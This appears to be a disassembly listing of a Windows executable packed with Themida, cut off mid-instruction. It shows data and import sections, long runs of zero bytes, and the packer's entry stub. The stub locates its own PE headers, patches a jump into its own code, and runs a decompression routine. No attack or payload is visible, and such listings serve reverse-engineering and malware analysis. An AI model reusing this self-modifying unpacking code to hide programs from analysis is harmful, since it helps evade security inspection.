sub_41E742+311w ; sub_41EA6B:loc_41EABBr ... dword_4DD374 dd 0 ; DATA XREF: sub_41E742+22Dr ; sub_41E742+260r ... dword_4DD378 dd 0 ; DATA XREF: sub_41E717r ; sub_41E742+2CBr ... dword_4DD37C dd 0 ; DATA XREF: sub_41E717+8r ; sub_41E742+2D0r ... dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr ; sub_41BEF3+Fr ... dword_4DD384 dd 2460000h ; DATA XREF: sub_41BA91+5Ar ; sub_41BBE2+C0r ... dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr ; sub_41BBE2:loc_41BC12r ... dword_4DD38C dd 142340h ; DATA XREF: ___:0042368Ar ; ___:004237B5r dword_4DD390 dd 1 ; DATA XREF: ___:00423780w dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr ; sub_420B0D+11w ... dword_4DD398 dd 2460758h ; DATA XREF: sub_41C1B3+3Er ; sub_41D9B3+13r ... dword_4DD39C dd 2460758h ; DATA XREF: sub_41C1B3+35r ; sub_41C1B3+57r ... dd 318h dup(0) dword_4DE000 dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DF000h align 2000h _rsrc___ ends ; Section 3. (virtual address 000E0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4E0000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0E0050h, 0E0000h, 3 dup(0) dd 0E0079h, 0E000Ch, 3 dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: ___:004385ACo align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 db 0 dd 0FEh dup(0) db 3 dup(0) db 0 ; DATA XREF: Themida_:00549A68o db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _idata__ ends ; Section 4. (virtual address 000E1000) ; Virtual size : 000FB000 (1028096.) ; Section size in file : 000FB000 (1028096.) ; Offset to raw data for section: 000E1000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 4E1000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 0AAB8A06h, 4413Eh, 54146h, 96172h, 0 ; --------------------------------------------------------------------------- mov eax, 0 pusha or eax, eax jz short loc_4E1086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E1041 popa jmp short loc_4E1076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 10h, 4Eh, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_4E1041: ; CODE XREF: Themida_:004E102Cj call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4E104E: ; CODE XREF: Themida_:004E1072j mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E106D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E1074 loc_4E106D: ; CODE XREF: Themida_:004E1059j sub eax, 1000h jmp short loc_4E104E ; --------------------------------------------------------------------------- loc_4E1074: ; CODE XREF: Themida_:004E106Bj mov edi, eax loc_4E1076: ; CODE XREF: Themida_:004E102Fj jmp loc_4E1265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 0E126Ah add ecx, edi jmp short loc_4E1090 ; --------------------------------------------------------------------------- loc_4E1086: ; CODE XREF: Themida_:004E101Cj mov eax, offset loc_548BDF mov ecx, offset word_4E126A loc_4E1090: ; CODE XREF: Themida_:004E1084j push eax push ecx call sub_4E111B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E1265 ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E111B proc near ; CODE XREF: Themida_:004E1092p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E1127: ; CODE XREF: sub_4E111B:loc_4E113Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E1132: ; CODE XREF: sub_4E111B+7Aj ; sub_4E111B+C3j ... add dl, dl jnz short loc_4E113B mov dl, [esi] inc esi adc dl, dl loc_4E113B: ; CODE XREF: sub_4E111B+19j jnb short loc_4E1127 add dl, dl jnz short loc_4E1146 mov dl, [esi] inc esi adc dl, dl loc_4E1146: ; CODE XREF: sub_4E111B+24j jnb short loc_4E1197 xor eax, eax add dl, dl jnz short loc_4E1153 mov dl, [esi] inc esi adc dl, dl loc_4E1153: ; CODE XREF: sub_4E111B+31j jnb loc_4E1238 add dl, dl jnz short loc_4E1162 mov dl, [esi] inc esi adc dl, dl loc_4E1162: ; CODE XREF: sub_4E111B+40j adc eax, eax add dl, dl jnz short loc_4E116D mov dl, [esi] inc esi adc dl, dl loc_4E116D: ; CODE XREF: sub_4E111B+4Bj adc eax, eax add dl, dl jnz short loc_4E1178 mov dl, [esi] inc esi adc dl, dl loc_4E1178: ; CODE XREF: sub_4E111B+56j adc eax, eax add dl, dl jnz short loc_4E1183 mov dl, [esi] inc esi adc dl, dl loc_4E1183: ; CODE XREF: sub_4E111B+61j adc eax, eax jz short 